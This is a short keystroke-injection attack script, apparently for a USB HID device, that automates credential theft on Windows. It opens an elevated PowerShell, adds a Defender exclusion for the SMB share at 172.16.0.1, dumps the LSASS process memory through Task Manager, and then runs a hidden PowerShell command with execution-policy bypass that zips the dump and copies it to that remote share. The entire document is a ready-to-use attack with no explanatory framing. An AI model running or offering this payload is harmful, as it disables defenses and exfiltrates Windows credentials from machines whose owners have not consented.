@_Extract_lsaasDMP_toSMB_V1_Infinition.js

layout('fr')
typingSpeed(0,0)
press("GUI r")
delay(200)
type("powershell")
press("CTRL SHIFT ENTER")
delay(1000)
press("SHIFT TAB")
press("ENTER")
delay(3000)
type('Add-MpPreference -ExclusionPath “\\\\172.16.0.1\\Data”\n')
delay(200)
press("ALT F4")
delay(2500)
press("GUI r")
delay(1000)
type ('taskmgr')
delay(500)
press("CTRL SHIFT ENTER")
delay(2500)
press ("ALT y")
delay(2500)
press ("DOWN")
delay(200)
type('local')
delay(200)
press ("SHIFT F10")
delay(1200)
press ("DOWN")
press ("DOWN")
press ("DOWN")
press ("DOWN")
press ("DOWN")
press ("ENTER")
delay(3500)
press ("ENTER")
press ("ALT F4")
delay(700)
press("GUI r")
delay(700)
type('powershell -ep bypass /w 1 /C $t=$env:temp;$l=\'lsass.DMP\';compress-archive -path $t\\$l -destinationpath \\\\172.16.0.1\\Data\\dump_$Env:ComputerName.zip\n')
type('\n')
delay(200)
press ("ENTER")